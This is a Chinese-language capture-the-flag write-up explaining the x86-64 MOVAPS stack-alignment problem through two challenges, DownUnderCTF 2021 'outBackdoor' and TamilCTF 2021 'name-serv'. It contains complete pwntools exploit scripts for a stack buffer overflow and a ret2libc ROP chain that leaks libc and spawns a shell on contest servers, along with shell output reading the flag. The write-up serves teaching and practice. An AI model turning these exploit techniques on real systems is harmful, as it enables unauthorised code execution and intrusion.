當你完美地在棧上進行了布局,洩露了libc的地址,并且在libc中獲得了syetem地址,獲得了'/bin/sh'地址,此時此時就差一步sendline就打通了,可是你忽然發現,什麼?為什麼system失敗了?地址也對啊,檢查了一遍又一遍,全部都對啊。
此時的你開始懷疑,是不是Server上用了個新的libc?是不是地址獲取錯誤?總之一萬個問題向你來襲。但其實可能就隻是一個retn解決的問題,在最後一步絆倒了你。這個問題其實就是The MOVAPS issue
問題的起因首先放上小明同學最近遇到的兩個題目:
有興趣的小夥伴可以看看這兩個題目。兩個題目很相似,都是棧溢出,控制了EIP.但是!都拿不到shell!!氣人不
DownUnderCTF2021-outBackdoorDownUnderCTF中簡單很多,直接提供了一個outBackdoor函數
保護機制
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp 0h] [rbp-10h] BYREF
buffer_init(argc, argv, envp);
puts("\nFool me once, shame on you. Fool me twice, shame on me.");
puts("\nSeriously though, what features would be cool? Maybe it could play a song?");
gets(v4);
return 0;
}
int outBackdoor()
{
puts("\n\nW...w...Wait? Who put this backdoor out back here?");
return system("/bin/sh");
}
//main的v4棧結構
-0000000000000010 var_10 db 16 dup(?)
0000000000000000 s db 8 dup(?)
0000000000000008 r db 8 dup(?)
0000000000000010
0000000000000010 ; end of stack variables
很簡單,棧溢出,根據main的棧結構,我們知道隻需要填充0x10 8個數據,就可以覆蓋到eip。
是不是很簡單?exploit如下:
#!/usr/bin/python
#coding:utf-8[/size][/align][align=left][size=3]
from pwn import *
context(os = 'linux', log_level='debug')
local_path = './outBackdoor'
addr = 'pwn-2021.duc.tf'
port = 31921
is_local = 1
if is_local != 0:
io = process(local_path,close_fds=True)
else:
io = remote(addr, port)
# io = gdb.debug(local_path)
elf=ELF(local_path)
p_backdoor=elf.symbols['outBackdoor']
p_main = elf.symbols['main']
p_system = elf.symbols['system']
p_bin_sh = 0x4020CD
p_pop_rdi = 0x040125b
p_retn = 0x04011FA
p_ = 0x04011E7
io.recvuntil(b"Maybe it could play a song")
#錯誤示範
get_shell = cyclic(16 8) p64(p_backdoor) #錯誤示範
# gdb.attach(io, "b * outBackdoor")
gdb.attach(io, "b * main")
io.sendline(get_shell)
io.interactive()
感興趣的同學可以檢查一下,确認這段exp确實沒有問題(至少現在看來是)。但是我們打一下會發現,有些奇怪的事情發生了。
程序輸出了如下提示,很容易發現這段提示來自于outBackdoor函數,說明我們确實打入了outBackdoor,并且開始執行shell。但是無論你如何去打去試都打不進去?神馬?為什麼?
W...w...Wait? Who put this backdoor out back here?
我的解法
.text:00000000004011E7 lea rdi, command ; "/bin/sh"
.text:00000000004011EE mov eax, 0
.text:00000000004011F3 call _system
.text:00000000004011F8 nop
.text:00000000004011F9 pop rbp
.text:00000000004011FA retn
将上述錯誤示範替換成如下,成功拿到shell
p_ = 0x04011E7
get_shell = cyclic(16 8) p64(p_) # 這個也可以
才疏學淺啊,雖然拿到了shell,但是卻是迷之shell,為什麼?沒有細細思考這個問題,畢竟入門小白,體會不到出題大神的出題思路。所以這個問題懸而未解。
正解直到有一天,我在CTFtime上看到了這道題的正确解法^1,再次感受到了才疏學淺。
這個writeup的意思是,在這個鍊接^2 中有這個問題的答案,隻需要一個retn就可以了。
什麼!默默地打開了這個鍊接,關鍵信息如下:
After searching the instruction movaps segfault I came across this site^3 that explains the issue.
The MOVAPS issue
If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
Simply adding a call to a ret gadget before the call to system aligned bytes, and allowed me to pop a shell.
簡單總結:就是在64位的機器上,當你要調用printf或是system時,請保證rsp&0xf==0,說人話就是16字節對齊,最後4比特為0。當不滿足上述條件的時候就報錯。
好神奇啊!這就是說,我在構造payload的時候,暫不滿足上述條件咯,祭出GDB.
如上圖所示,果真在調用system函數時最低4比特不為0(實際上那半個字節是8)
那麼,我們自己的方法呢?
确實,最低4比特為0,滿足條件。
他的方法,加上retn,同樣滿足條件:
這個時候,我明白一個道理:我就是瞎貓碰見死耗子了呀!!!!
下面分析一番,為什麼我們碰見這個死耗子。
瞎貓碰見死耗子死耗子分析如下,payload中唯一不一樣的地方,但是卻有的能拿到shell,有的不能:
get_shell = cyclic(16 8) p64(p_retn) p64(p_backdoor) get_shell = cyclic(16 8) p64(p_) # 這個也可以 get_shell = cyclic(16 8) p64(p_backdoor) #錯誤示範
我們就具體分析一下:
我們将斷點斷在main函數返回時的retn,
随後執行retn,在棧頂彈出值賦給eip。此時棧結構變為
可以看到,此時rsp是rsp 0x7fffc8d60ec0
随後進行了一步操作,将保存上一個棧的棧底,以便在本函數執行完畢後,恢複上一個棧。也就是這一步後,我們的棧頂rsp發生了變化
► 0x4011d7 <outBackdoor> push rbp
并且這個變化保持到了system調用。自此,因為不滿足rsp&0xf==0,失敗!
好了,這個死耗子分析完了
我為什麼會碰上呢?
p_ = 0x04011E7 get_shell = cyclic(16 8) p64(p_) # 這個也可以
因為我的解法中,我直接将eip控制到了上圖中0x4011e7的位置,完美跳過了push rbp的操作,所以rsp是滿足條件的。(不要問我為什麼會想到這麼“天才”的想法,因為我是“天猜”的)
那麼他的解法是什麼原理呢?
get_shell = cyclic(16 8) p64(p_retn) p64(p_backdoor)
可以看出,在進入backdoor函數之前,進行了一個retn操作。retn操作其實就是将棧頂的一個單位彈出到EIP中,在本例中就是rsp 8,所以先彈出一個單位,再在backdoor函數中壓入一個單位,這不就平衡了!
Tamilctf2021-Nameserver無獨有偶,在DownUnderCTF開始後的兩天,TamilCTF也出了一道這麼個題。
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) int __cdecl main(int argc, const char **argv, const char **envp) { char buf[32]; // [rsp 0h] [rbp-20h] BYREF setbuf(_bss_start, 0LL); puts("Welcome to TamilCTF"); printf("what is you name: "); read(0, buf, 500uLL); return 0; }
典型的棧溢出,先通過puts洩露libc地址,然後在libc中找到system,/bin/sh的地址,ROP,getshell。哈哈,輕車熟路。exp如下:
from pwn import * from LibcSearcher import * context(log_level='debug') # context.terminal = ['terminator','-x','sh','-c'] local_path = './name-serv' addr = '3.97.113.25' port = 9001 is_local = 0 def debug(cmd): gdb.attach(io, cmd) if is_local: io = process(local_path) # debug('b * (vuln 0x121d - 0x11a2)') # debug('b * (main)') else: io = remote(addr, port) # io.recvuntil(b'what is you name: ') # payload = cyclic(500) p_pop_rdi= 0x0004006d3 elf = ELF(local_path) p_puts_plt = elf.plt['puts'] p_puts_got = elf.got['puts'] p_read_got = elf.got['read'] p_start = elf.symbols['_start'] p_main = elf.symbols['main'] p_read = elf.symbols['read'] p_bss = elf.bss() io.recvuntil(b'what is you name: ') payload = b'a'*40 p64(p_pop_rdi) p64(p_puts_got) p64(p_puts_plt) p64(p_main) io.send(payload) p_puts_addr = u64(io.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) print(hex(p_puts_addr)) obj = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_base = p_puts_addr - obj.symbols['puts'] #算出libc基地址 system = libc_base obj.symbols['system'] #算出各函數的真實地址 bins = libc_base next(obj.search(b'/bin/sh')) # gdb.attach(io, ''' # b *0x400660 # c # ''' # ) payload = b'a'*40 p64(p_pop_rdi) p64(bins) p64(system) #錯誤示範 io.send(payload) io.interactive()
啊哈哈,錯誤示範(心路曆程:一直以為是libc出了問題,試過了Libcsearcher,DynELF,别提多崩潰了)
# 重點是這個retn的加入,原因是 ''' The MOVAPS issue If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction. ''' p_retn = 0x00400661 payload = b'a'*40 p64(p_pop_rdi) p64(bins) p64(p_retn) p64(system)
加上retn, get shell.
總結
what is you name: $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x26 bytes: b'flag.txt\n' b'libc.so.6\n' b'name-serv\n' b'start.sh\n' flag.txt libc.so.6 name-serv start.sh $ cat flag.txt [DEBUG] Sent 0xd bytes: b'cat flag.txt\n' [DEBUG] Received 0x27 bytes: b'TamilCTF{ReT_1s_M0rE_p0wErFu1_a5_LIBC}\n' TamilCTF{ReT_1s_M0rE_p0wErFu1_a5_LIBC}
本文主要對The MOVAPS issue問題進行了解釋,并結合DownUnderCTF2021和TamilCTF2021中相關的兩個題目進行了分析。就題目本身而言,非常簡單的ROP,考察的知識點就是The MOVAPS issue,理解了就很容易。
最近看到一句話,再次刷新了我的認知,RE不僅考的是reverse的技巧,還考察了Google和GIThub的技巧;Crypto不僅考察了你的數學知識,還考察了你閱讀paper的能力。
所以啊,你以為的真的是你以為的嗎?
世界那麼大,多出去看看吧。參考文獻
關注私我獲取【網絡安全學習攻略】
,更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!